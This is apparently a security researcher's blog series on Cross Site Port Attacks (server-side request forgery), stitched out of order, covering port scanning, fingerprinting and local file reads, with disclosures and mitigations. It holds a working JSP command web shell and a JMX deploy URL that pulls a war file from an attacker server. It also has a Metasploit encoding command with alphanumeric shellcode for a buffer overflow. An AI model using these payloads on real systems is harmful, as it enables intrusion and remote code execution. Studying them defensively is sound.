<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQXa89AqyxBleAHRewI58dvmWVw_INJRF2_wdPoINGfoXWrOoPQCRyTTI4yvY9g7aQg-2yDE7Y4VBAe7n2r30IPIAjo3OviPbz8dUNJ3FU1SNaxfNhVJegf9jVMklbqejMRFZTB8pZsOOZ/s1600/jmx_console.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="410" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQXa89AqyxBleAHRewI58dvmWVw_INJRF2_wdPoINGfoXWrOoPQCRyTTI4yvY9g7aQg-2yDE7Y4VBAe7n2r30IPIAjo3OviPbz8dUNJ3FU1SNaxfNhVJegf9jVMklbqejMRFZTB8pZsOOZ/s1600/jmx_console.png" width="520" /></a></div>
<br />
A well <a href="https://www.google.co.in/search?q=hacking%20jboss%20jmx-console">documented hack</a>
 using the JMX console, allows an attacker to deploy a war file 
containing JSP code that would allow command execution on the server. If
 an attacker has direct access to the JMX console, then deploying the 
war file containing the following JSP code is relatively 
straightforward:<br /><br />

<div style="text-align: left;">
<span style="font-family: "Courier New",Courier,monospace;">
<%@ page import="java.util.*,java.io.*"%><br />
<pre><br /> 
<% Process p = Runtime.getRuntime().exec("cmd /c " + request.getParameter("x")); <br />
DataInputStream dis = new DataInputStream(p.getInputStream());<br /> 
String disr = dis.readLine();<br />
while (  disr != null ) {<br /> 
out.println(disr);<br />
disr = dis.readLine();<br />
} %> <br />
</pre> <br />
</span>
</div>
<br />
<span style="font-family: "Trebuchet MS",sans-serif;">Using 
the MainDeployer under jboss.system:service in the JMX Bean View we can 
deploy a war file containing a JSP shell. The MainDeployer can be found 
at the following address:
<br /></span>

<div style="text-align: left;">
<span style="font-family: "Courier New",Courier,monospace;">
http://example_server:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Aservice%3DMainDeployer
</span>
</div>
<br />

<span style="font-family: "Trebuchet MS",sans-serif;">
Using the MainDeployer, for example, a war file named cmd.war containing
 a shell named shell.jsp can be deployed to the server and accessed via 
http://example_server:8080/cmd/shell.jsp. Commands can then be executed 
via shell.jsp?x=[command]. To perform this via XSPA we need to obviously
 replace the example_server with the IP/hostname of the server running 
JBoss on the internal network.</span> 
<br /><br />

<span style="font-family: "Trebuchet MS",sans-serif;">
A small problem here that becomes a roadblock in performing this attack 
via XSPA is that the file deploy works via a POST request and hence we 
cannot craft a URL (atleast we think so) that would deploy the war file 
to the server. This can easily be solved by converting the POST to a GET
 request for the JMX console. On a test installation, we can identify 
the variables that are being sent to the JBoss server when the Main 
Deployer's deploy() function is called. Using your favorite proxy, or 
simply using the Firefox addon - Web Developer's "Convert POST to GET" 
functionality, we can construct a URL that would allow deploying of the 
cmd.war file to the server. We then only need to host the cmd.war file 
on an Internet facing server so that we can specify the cmd.war file URL
 as arg0. The final URL would look something like (assuming JBoss server
 is running on the same web server):<br /><br />
</span>

<div style="text-align: left;">
<span style="font-family: "Courier New",Courier,monospace;">
http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://our_public_internet_server/utils/cmd.war
</span>
</div>
<br />

<span style="font-family: "Trebuchet MS",sans-serif;">
Use this URL as input to the XSPA vulnerable web application and if the 
application displays received responses from the backend, you should see
 something on the lines of the following:
</span>
<br /><br />

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE1lhJAaBrowIUFGiGahlX6qFyUcun4GpdW8WDCtHHE4vVf089anwyoidIJU1dDQc6-mUeUmZf3FU7ba3d6w-zLPbv2orhXTTVcNofoaaMweSkl9cUkeT6gV_EbFmnKMYgnpasnFFtVnF-/s1600/jmx_op_completed.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="243" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE1lhJAaBrowIUFGiGahlX6qFyUcun4GpdW8WDCtHHE4vVf089anwyoidIJU1dDQc6-mUeUmZf3FU7ba3d6w-zLPbv2orhXTTVcNofoaaMweSkl9cUkeT6gV_EbFmnKMYgnpasnFFtVnF-/s1600/jmx_op_completed.png" width="520" /></a></div>
<br />
<span style="font-family: "Trebuchet MS",sans-serif;">
Then its a matter of requesting shell.jsp via the XSPA vulnerable web 
application. For example, the following input would return the directory
 listing on the JBoss server (assuming its Windows, for Linux, 
x=ls%20-al can be used)
</span>
<br /><br />
<div style="text-align: left;">
<span style="font-family: "Courier New",Courier,monospace;">
http://127.0.0.1:8080/cmd/shell.jsp?x=dir
</span>
</div>
<br />

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHjwtaunsSv6dEzQLbzWkISaOs30Kbo_SRoyHqPGELe2nNdUmQyTgIO2KULarprGmwOcgMQjW_KAOuamrvn10BaPagAorXDz5kqryWMhGtiqIEMtrYHxL_qhS5Vg97N5qvS4IQzMEETphD/s1600/jboss_shell_dir_output.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="470" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHjwtaunsSv6dEzQLbzWkISaOs30Kbo_SRoyHqPGELe2nNdUmQyTgIO2KULarprGmwOcgMQjW_KAOuamrvn10BaPagAorXDz5kqryWMhGtiqIEMtrYHxL_qhS5Vg97N5qvS4IQzMEETphD/s1600/jboss_shell_dir_output.png" width="520" /></a></div>
<br /><br />
<div style="text-align: left;">
<span style="font-family: "Courier New",Courier,monospace;">
http://127.0.0.1:8080/cmd/shell.jsp?x=tasklist
</span>
</div>
<br />

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTO8hH-PWoSFvYjK_kcWE2ncYGyiFi3UsoFhjcPg5gkt-NETDJ6GyPucxMP2q53EnsvNQN-NX7gYN_pCkj1gDnsL-pumeSFrDOlJpy34Ih_OdfgmpGSayjzeJLd8NDOIbfTKdUYiSDW8ey/s1600/jboss_shell_tasklist_output.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="490" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTO8hH-PWoSFvYjK_kcWE2ncYGyiFi3UsoFhjcPg5gkt-NETDJ6GyPucxMP2q53EnsvNQN-NX7gYN_pCkj1gDnsL-pumeSFrDOlJpy34Ih_OdfgmpGSayjzeJLd8NDOIbfTKdUYiSDW8ey/s1600/jboss_shell_tasklist_output.png" width="520" /></a></div>
<br /><br />
<span style="font-family: "Trebuchet MS",sans-serif;">
We have successfully attacked an internal vulnerable web application 
from the Internet using XSPA. We can then use the shell to download a 
reverse connect program that would give higher flexibility over issuing 
commands. Similarily other internal applications vulnerable to threats 
like SQL Injection, parameter manipulation and other URL based attacks 
can be targeted from the Internet.
</span>
<br /><br />

<h2 style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-weight: normal;">Attacks - Reading local files using file:/// protocol</span> </span></h2>
<span style="font-family: "Trebuchet MS",sans-serif;">
All the attacks that we saw till now make use of the fact that the XSPA 
vulnerable web application creates an HTTP request to the requested 
resource. The protocol in all cases was specified by the attacker. On 
the other hand, if we specify the file protocol handler, we maybe able 
to read local files on the server. An input of the following form would 
cause the application to read files on disk:
<br /><br />
Request: file:///C:/Windows/win.ini
</span>
<br /><br />

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZcEDssC_wrx_vsgCeTNWMZzutGlJ5aypOv7Nfrk3VIUDb1013D8oGabl40MSJ2HdjL6BFx4o__euBP8RkLyeirD1mT2U3iRv9bVAW1Q7naMlpZL3S4KGylE1qWf4PXHrMp_knNlP5UtfV/s1600/file_read.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="530" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZcEDssC_wrx_vsgCeTNWMZzutGlJ5aypOv7Nfrk3VIUDb1013D8oGabl40MSJ2HdjL6BFx4o__euBP8RkLyeirD1mT2U3iRv9bVAW1Q7naMlpZL3S4KGylE1qWf4PXHrMp_knNlP5UtfV/s1600/file_read.png" width="520" /></a></div>
<br /><br />
<span style="font-family: "Trebuchet MS",sans-serif;">
The following screengrab shows the reading of the /etc/passwd file on an
 Adobe owned server via Adobe's Omniture web application. The request 
was file:///etc/passwd. Adobe has now fixed this issue and credited me 
on the <a href="http://www.adobe.com/support/security/bulletins/securityacknowledgments.html" target="_blank">Adobe Hall of Fame</a> for the same:
</span>
<br /><br />

<h2 style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-weight: normal;">How do you fix this?</span> </span></h2>
<span style="font-family: "Trebuchet MS",sans-serif;">
There are multiple ways of mitigating this vulnerability, the most ideal
 and common techniques of thwarting XSPA, however, are listed below:<br />
1. Response Handling - Validating responses received from remote 
resources on the server side is the most basic mitigation that can be 
readily implemented. If a web application expects specific content type 
on the server, programmatically ensure that the data received satisfies 
checks imposed on the server before displaying or processing the data 
for the client.
<br /><br />
2. Error handling and messages - Display generic error messages to the 
client in case something goes wrong. If content type validation fails, 
display generic errors to the client like "Invalid Data retrieved". Also
 ensure that the message is the same when the request fails on the 
backend and if invalid data is received. This will prevent the 
application from being abused as distinct error messages will be absent 
for closed and open ports. Under no circumstance should the raw response
 received from the remote server be displayed to the client.
<br /><br />
3. Restrict connectivity to HTTP based ports - This may not always be 
the brightest thing to do, but restricting the ports to which the web 
application can connect to only HTTP ports like 80, 443, 8080, 8090 etc.
 can lower the attack surface. Several popular web applications on the 
Internet just strip any port specifications in the input URL and connect
 to the port that is determined by the protocol handler (http - 80, 
https - 443).
<br /><br />
4. Blacklist IP addresses - Internal IP addresses, localhost 
specifications and internal hostnames can all be blacklisted to prevent 
the web application from being abused to fetch data/attack these 
devices. Implementing this will protect servers from one time attack 
vectors. For example, even if the first fix (above) is implemented, the 
data is still being sent to the remote service. If an attack that does 
not need to see responses is executed (like a buffer overflow exploit) 
then this fix can actually prevent data from ever reaching the 
vulnerable device. Response handling is then not required at all as a 
request was never made.
<br /><br />
5. Disable unwanted protocols - Allow only http and https to make 
requests to remote servers. Whitelisting these protocols will prevent 
the web application from making requests over other protocols like 
file:///, gopher://, ftp:// and other URI schemes.
<br /></span>

<h2 style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-weight: normal;">Conclusion</span> </span></h2>
<span style="font-family: "Trebuchet MS",sans-serif;">
Using web applications to make requests to remote resources, the local 
network and even localhost is a technique that has been known to 
pentesters for some time now. It has been termed as Server Side Request 
Forgeries, Cross Site Port Attacks and even Server Side Site Scanning, 
but the primary idea is to present it to the community and show that 
this vulnerability is extremely common. XSPA, in the case of this 
research, can be used to proxy attacks via vulnerable web applications 
to remote servers and local systems.<br />
<br />
We have seen that XSPA can be used to port scan remote Internet facing 
servers, intranet devices and the local web server itself. Banner 
grabbing is also possible in some cases. XSPA can also be used to 
exploit vulnerable programs running on the Intranet or on the local web 
server. Fingerprinting intranet web applications using static default 
files & application behaviour is possible. It is also possible in 
several cases to attack internal/external web applications that are 
vulnerable to GET parameter based vulnerabilities (SQLi via URL, 
parameter manipulation etc.). Lastly, XSPA has been used to document 
local file read capabilities using the file:/// protocol handler in 
Adobe's Omniture web application.
<br /><br />
Mitigating XSPA takes a combination of blacklisting IP addresses, 
whitelisting connect ports and protocols and proper non descriptive 
error handling.
<br /><br /><br />
In the next several posts I will publish disclosures regarding XSPA in 
several websites on the Internet which triggered the research into this 
vulnerability in the first place.
</span></div>

Cross Site Port Attacks - XSPA - Part 3

In the last 2 posts we saw what Cross Site Port Attacks (XSPA) are and what are the different attacks that are possible via XSPA. This po...

Cross Site Port Attacks - XSPA - Part 2

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-family: "Trebuchet MS",sans-serif;">This is the second post in the 3 part series that explains XSPA, the attacks and possible countermeasures.
<br /><br />
Read <a href="http://anonymous1769.blogspot.in/2014/08/cross-site-port-attacks-xspa-part-1.html">Cross Site Port Attacks - XSPA - Part 1</a><br />
Read <a href="http://anonymous1769.blogspot.in/2014/08/cross-site-port-attacks-xspa-part-3.html">Cross Site Port Attacks - XSPA - Part 3</a>
<br /><br />

</span><br />
<h2 style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-weight: normal;">Attacks</span> </span></h2>
<span style="font-family: "Trebuchet MS",sans-serif;">XSPA 
allows attackers to target the server infrastructure, mostly the 
intranet of the web server, the web server itself and any public 
Internet facing server as well. Currently, I have come across the 
following five different attacks that can be launched because of XSPA:<br />
1. Port Scanning remote Internet facing servers, intranet devices and 
the local web server itself. Banner grabbing is also possible in some 
cases.<br />
2. Exploiting vulnerable programs running on the Intranet or on the local web server<br />
3. Fingerprinting intranet web applications using standard application default files & behavior<br />
4. Attacking internal/external web applications that are vulnerable to 
GET parameter based vulnerabilities (SQLi via URL, parameter 
manipulation etc.)<br />
5. Reading local web server files using the file:/// protocol handler.<br /><br />

Most web server architecture would allow the web server to access the 
Internet and services running on the intranet. The following visual 
depiction shows the various destinations to which requests can be made:</span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnD2rJZc21zuBydiTyzj-z7WHi0RWOPSQnIvCCRZrv0pPinNL1Zx3PaQkuXU0h6EdXQdjXNLlNI-akQA2l7n23WmuHF3HLD5I24oLoyhqgHbMgt9O_wHmFiAO4hjknZqSg56xgzT3xTlPa/s1600/xspa_reach_via_server.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnD2rJZc21zuBydiTyzj-z7WHi0RWOPSQnIvCCRZrv0pPinNL1Zx3PaQkuXU0h6EdXQdjXNLlNI-akQA2l7n23WmuHF3HLD5I24oLoyhqgHbMgt9O_wHmFiAO4hjknZqSg56xgzT3xTlPa/s1600/xspa_reach_via_server.png" width="520" /></a></div>
Let us now look at some of the attacks that are possible with XSPA. 
These are attacks that I have come across during my Bug Bounty research 
and XSPA is not limited to them. A determined, intuitive attacker can 
come up with other scenarios as well.<br />
<br />
<h2 style="text-align: left;">
<span style="font-weight: normal;"><span style="font-family: "Trebuchet MS",sans-serif;">Attacks - Port Scanning using XSPA</span></span></h2>
<span style="font-family: "Trebuchet MS",sans-serif;">Consider
 a web application that provides a common functionality that allows a 
user to input a link to an external image from a third party server. 
Most social networking sites have this functionality that allows users 
to update their profile image by either uploading an image or by 
providing a URL to an image hosted elsewhere on the Internet.</span>
A user is expected (in an utopian world) to enter a valid URL pointing 
to an image on the Internet. URLs of the following forms would be 
considered valid:
<br />
<li>http://example.com/dir/public/image.jpg</li>
<li>http://example.com/dir/images/</li>
<br />
The second URL is valid, if the served Content-Type is an image 
(http://www.w3.org/Protocols/rfc1341/4_Content-Type.html). Based on the 
web application's server side logic, the image is downloaded on the 
server, a URL is created and then the image is displayed to the user, 
using the new server URL. So even if you specify the image to be at
<br />
http://example.com/dir/public/image.jpg<br />
the final image url would be at<br />
http://gravatar.com/user_images/username/image.jpg. 
<br />
<br />
If an image is not found at the user supplied URL, the web 
application will normally inform the user of such. However, if the 
remote server hosting the image itself isn't found or the server exists 
and there is no HTTP service running then it gets tricky. Most web 
applications generate error messages that inform the user regarding the 
status of this request. An attacker can specify a non-standard yet valid
 URI according to the URI rfc3986 with a port specification. An example 
of these URIs would be the following:
<br />
<li>http://example.com:8080/dir/images/</li>
<li>http://example.com:22/dir/public/image.jpg</li>
<li>http://example.com:3306/dir/images/</li>
<br />
<span style="font-family: "Trebuchet MS",sans-serif;">In all 
probability you would find a web application on port 8080 and not on 22 
(SSH) or 3306 (MySQL). However, the backend logic of the webserver, in 
all observed cases, will connect to the user specified URL on the 
mentioned port using whatever APIs and framework it is built over as 
these are valid HTTP URLs. In case of most TCP services, banners are 
sent when a socket connection is created and since most banners 
(containing juicy information) are printable ascii, they can be 
displayed as raw HTML via the response handler. If there is some parsing
 of data on the server then non HTML data may not be displayed, in such 
cases, unique error messages, response byte size and response timing can
 be used to identify port status providing an avenue for port scanning 
remote servers using the vulnerable web application. An attacker can 
analyze the returned error messages and identify open and closed ports 
based on unique error responses. These responses may be raw socket 
errors (like "Connection refused" or timeouts) or may be customized by 
the application (like "Unexpected header found" or "Service was not 
reachable"). Instead of providing a URL to a remote server, URLs to 
localhost (http://127.0.0.1:22/image.jpg) can also be used to port scan 
the local server itself!</span><br />
<br />
The following implementation of cURL can be abused to port scan devices:
<br />
<div style="text-align: left;">
<span style="font-family: "Courier New",Courier,monospace;">
<?php <br />
  if (isset($_POST['url']))<br />
    {<br />
  $link = $_POST['url'];<br />
  $filename = './curled/'.rand().'txt';<br />
  $curlobj = curl_init($link);<br />
  $fp = fopen($filename,"w");<br />

curl_setopt($curlobj, CURLOPT_FILE, $fp);<br />
  curl_setopt($curlobj, CURLOPT_HEADER, 0);<br />
  curl_exec($curlobj);<br />
  curl_close($curlobj);<br />
  fclose($fp);<br />
  $fp = fopen($filename,"r");<br />
  $result = fread($fp, filesize($filename)); <br />
  fclose($fp);<br />
  echo $result;<br />
   }<br />
?><br /><br />
</span></div>
<span style="font-family: "Trebuchet MS",sans-serif;">The following is a screengrab of the above code retrieving robots.txt from http://www.twitter.com:<br /><br />
Request: http://www.twitter.com/robots.txt<br /><br />

</span><br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "Trebuchet MS",sans-serif;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV36r1uBkIQgSD0egRWU8SnjgYEAW9euGjwpl80Wgqxt3WHBsoLcx-BrlYHUpzZEbeIxL6-7OackWenGrJPppZkTY0dZejRtlCPFOAAWvqtq8u-bfzDsaQsfbLcXs8gce68K_wSMajFGGE/s1600/robots.txt.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="420" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV36r1uBkIQgSD0egRWU8SnjgYEAW9euGjwpl80Wgqxt3WHBsoLcx-BrlYHUpzZEbeIxL6-7OackWenGrJPppZkTY0dZejRtlCPFOAAWvqtq8u-bfzDsaQsfbLcXs8gce68K_wSMajFGGE/s1600/robots.txt.png" width="520" /></a></span></div>
<span style="font-family: "Trebuchet MS",sans-serif;">
<br /><br />

For the same page, if a request is made to fetch data from a open port running a non HTTP service:<br /><br />
Request: http://scanme.nmap.org:22/test.txt<br /><br />

For a closed port, an application specific error is displayed:<br /><br />
Request: http://scanme.nmap.org:25/test.txt<br /> <br />

The different responses received allow us to port scan devices using the
 vulnerable web application server as a proxy. This can easily be 
scripted to achieve automation and cleaner results. I will be (in later 
posts) showing how this attack was possible on Facebook, Google, 
Mozilla, Pinterest, Adobe and Yahoo!<br /><br />

An attacker can also modify the request URLs to scan the internal network or the local server itself. For example:<br /><br />

Request: http://127.0.0.1:3306/test.txt<br /><br />

In most web applications on the Internet, barring a few, banner grabbing
 may not be possible, in which case application specific error messages,
 response byte size, server response times and changes in HTML source 
can be used as unique fingerprints to identify port status. The 
following screengrabs show port scanning via XSPA in Google's Webmasters
 web application. Note the application specific error messages that can 
be used to script the vulnerability and automate scanning of 
Internet/Intranet devices. Google has now fixed this issue (and my name 
was listed in the prestigious <a href="http://www.google.com/about/appsecurity/hall-of-fame/reward/" target="_blank">Google Hall of Fame</a> for security researchers):<br /><br />

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRy1oyrvQCCYJxGJzhyphenhyphenJ5lGBJWeriOw4Ol6HC8sOeoJtNBVVY7ydRI6KiA9UK8RNDwRQ9B-mB4axvHkYSIZRBWySLg38V9e2VWJ2uBRcMdb9X5bbFJrz-a-V4axN6FlI7I8hlmRGl6S1CG/s1600/closed_port.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRy1oyrvQCCYJxGJzhyphenhyphenJ5lGBJWeriOw4Ol6HC8sOeoJtNBVVY7ydRI6KiA9UK8RNDwRQ9B-mB4axvHkYSIZRBWySLg38V9e2VWJ2uBRcMdb9X5bbFJrz-a-V4axN6FlI7I8hlmRGl6S1CG/s1600/closed_port.PNG" width="520" /></a></div>
</span>
<br />
<br />
<h2 style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-weight: normal;">Attacks - Exploiting vulnerable network programs</span> </span></h2>
<span style="font-family: "Trebuchet MS",sans-serif;">Most 
developers in the real world write code without incorporating a lot of 
security. Which is why, even after a decade of being documented, threats
 like buffer overflows and format string vulnerabilities are still found
 in applications. For applications built in-house to perform specific 
tasks, security is almost never in the list of priorities, hence 
attacking them gives easy access to the internal network. XSPA allows 
attackers to send data to user controlled addresses and ports which 
could have vulnerable services listening on them. These can be exploited
 using XSPA to execute code on the remote/local server and gain a 
reverse shell (or perform an attacker desired activity).<br /><br />

If we look at the flow of an XSPA attack, we can see that we control the
 part after the port specification. In simpler terms, we control the 
resource that we are asking the web server to fetch from the 
remote/local server. The web server creates a GET (or POST, mostly GET) 
request on the backend and connects to the attacker specified service 
and issues the following HTTP request:<br /><br />

</span><br />
<div style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-family: "Courier New",Courier,monospace;">
GET /attacker_controlled_resource HTTP/1.1<br />
Host: hostname<br /><br />
</span></span></div>
<span style="font-family: "Trebuchet MS",sans-serif;">
If you notice carefully, we do not need to be concerned about most of 
the structure of the backend request as we control the most important 
part of it, the resource specification. For example, in the following 
screengrab you can see that a program listening on port 8987 on the 
local server accepts input and prints "Hello GET /test.txt HTTP/1.1, The
 Server Time is: [server time]". We can see that the "GET /test.txt 
HTTP/1.1" is sent by the web server to the program as part of its 
request creation process. If the program is vulnerable to a buffer 
overflow, as user input is being used to create the output, the attacker
 could pass an overly long string and crash the program.<br /><br />

Request: http://127.0.0.1:8987/test.txt</span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKrjf5yQ2aqiPbYZL0ODHz2gkp4rvrS-KECbE_fuOCDVsdclNrzLMeyCqCnCDH7NG9C-Bc_ToBVijV4dud8PPOAQKBQyLMEzUg6IuSVWwOkwarQB5gcKcqvxACJ6UGwqIxwaXQDuO3CxOk/s1600/vulnerable_program_localhost.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKrjf5yQ2aqiPbYZL0ODHz2gkp4rvrS-KECbE_fuOCDVsdclNrzLMeyCqCnCDH7NG9C-Bc_ToBVijV4dud8PPOAQKBQyLMEzUg6IuSVWwOkwarQB5gcKcqvxACJ6UGwqIxwaXQDuO3CxOk/s1600/vulnerable_program_localhost.png" width="520" /></a></div>
<br />
<br />
Request: 
http://127.0.0.1:8987/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxkoO9dufUUuTBJreWBSa3IqW9M0yXyy7sUhfSkFOAFB_LX7w-rgQkDbCmq3uPlE4iTNK6RFa2cj_hxzBni7ObLOy0IJTJx6GgqZw9XM2Q6M4v93IOnb7fqjfFkfzBkdJWN3Mj7BRRhZ9n/s1600/network_hello_crash.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxkoO9dufUUuTBJreWBSa3IqW9M0yXyy7sUhfSkFOAFB_LX7w-rgQkDbCmq3uPlE4iTNK6RFa2cj_hxzBni7ObLOy0IJTJx6GgqZw9XM2Q6M4v93IOnb7fqjfFkfzBkdJWN3Mj7BRRhZ9n/s1600/network_hello_crash.png" width="520" /></a></div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi-UHt1j3mWroXvP5O9IEPPExtvohW-S_6BGYKvmdsT8loEjuezycLMu8t24Kc5eoeH7Kw6n0W8X5aUHxiAblfkf_QOtq-t8HjchD6UANi-1XD5J_r4G2R3tnSWJdJ5N6ziz2Cxm_wR1Wj/s1600/exploitable_program.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi-UHt1j3mWroXvP5O9IEPPExtvohW-S_6BGYKvmdsT8loEjuezycLMu8t24Kc5eoeH7Kw6n0W8X5aUHxiAblfkf_QOtq-t8HjchD6UANi-1XD5J_r4G2R3tnSWJdJ5N6ziz2Cxm_wR1Wj/s1600/exploitable_program.png" width="520" /></a></div>
<br />
<br />
On testing the vulnerable copy on a local installation, we can see that 
EIP can be controlled and ESP has our data. Calculating the correct 
offset for EIP and building the exploit is beyond this blog post, 
however, the folks at <a href="https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows">Corelan</a>
 have a brilliant series of tutorials on building exploits for 
vulnerable programs. One important point to be noted however is that 
HTTP being a text based protocol may not handle non-printable unicode 
characters (found in exploit code) properly. In such a situation, we can
 use msfencode (part of metasploit framework) to encode the exploit 
payload to alpha numeric using the following command:<br />
<br />
<div style="text-align: left;">
<span style="font-family: "Courier New",Courier,monospace;">
msfpayload windows/exec CMD=calc.exe R | msfencode BufferRegister=ESP -e x86/alpha_mixed
</span></div>
<br />
The result? The following alphanumeric text (along with padding AAAAAAs,
 the static JMP ESP address and the shellcode) that can now be sent via 
the web application to the vulnerable program:<br />
<br />
<div style="text-align: left;">
<span style="font-family: "Courier New",Courier,monospace;">
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@'ßwTYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlhhmYUPWpWp3Pk9he01xRSTnkpRfPlKPRtLLKPR24NkbR7XDOMgszuvVQ9oeaKpllgL3QQl5RFLWPiQJodM31JgKRHpaBPWNk3bvpLKsrWLwqZpLK1P0xMU9PSDCz7qZpf0NkQX6xnk2xUps1n3xcgL3yNkednkVayF4qKO5aKpnLIQJo4M31O76XIpbUzTdC3MHxGKamvDbU8bchLKShEtgqhSQvLKtLRkNkShuLgqZslK5TlKVaZpoy3tGTWTqKqKsQ0YSjRqyoKP2xCoSjnkwb8kLFqM0jFaNmLElyc05PC0pPsX6QlK0oOwkOyEOKhph5920VBHY6MEoMOmKON5Uls6SLUZMPykip2UfeoK3wfs422OBJs0Sc9oZuCSPaPl3SC0AA
</span></div>
<br />
<br />
Sucessful exploitation leads to calculator executing on the server. The 
shellcode can be replaced with other payloads as well (reverse shell 
perhaps?)<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiK8g7LHWzW5uykz86_o6fUufusLgyyU_-kUW8tyv7Jn0WrtB9p6xXY3T5_J5tg2XN6t4T8jx84O5naxk-vAf_KXoFmblW2jBWZ4hMf9elPsfUemH8ax8xuduYws0Oi7r7IH1SKkg26Z-GJ/s1600/calc_exec.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="350" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiK8g7LHWzW5uykz86_o6fUufusLgyyU_-kUW8tyv7Jn0WrtB9p6xXY3T5_J5tg2XN6t4T8jx84O5naxk-vAf_KXoFmblW2jBWZ4hMf9elPsfUemH8ax8xuduYws0Oi7r7IH1SKkg26Z-GJ/s1600/calc_exec.png" width="520" /></a></div>
<br />
<br />
<h2 style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-weight: normal;">Attacks - Fingerprinting Intranet Web Applications</span> </span></h2>
Identifying internal applications via XSPA would be one of the first 
steps an attacker would take to get into the network from outside. 
Fingerprinting the type and version, if its a publicly available 
framework, blogging platform, application module or simply a customized 
public CMS, is essential in identifying vulnerabilities that can then be
 exploited to gain access. <br />
<br />
Most publicly available web application frameworks have distinct files 
and directories whose presence would indicate the type and version of 
the application. Most web applications also give away version and other 
information through meta tags and comments inside the HTML source. 
Specific vulnerabilites can then be researched based on the results. For
 example, the following unique signatures help in identifying a 
phpMyAdmin, Wordpress and a Drupal instance respectively:<br />
<br />
Request: http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png<br />
Request: http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpg<br />
Request: http://127.0.0.1:8082/profiles/minimal/translations/README.txt<br />
<br />
The following request attempts to identify the presence of a DLink Router:<br />
<br />
Request: http://10.0.0.1/portName.js<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
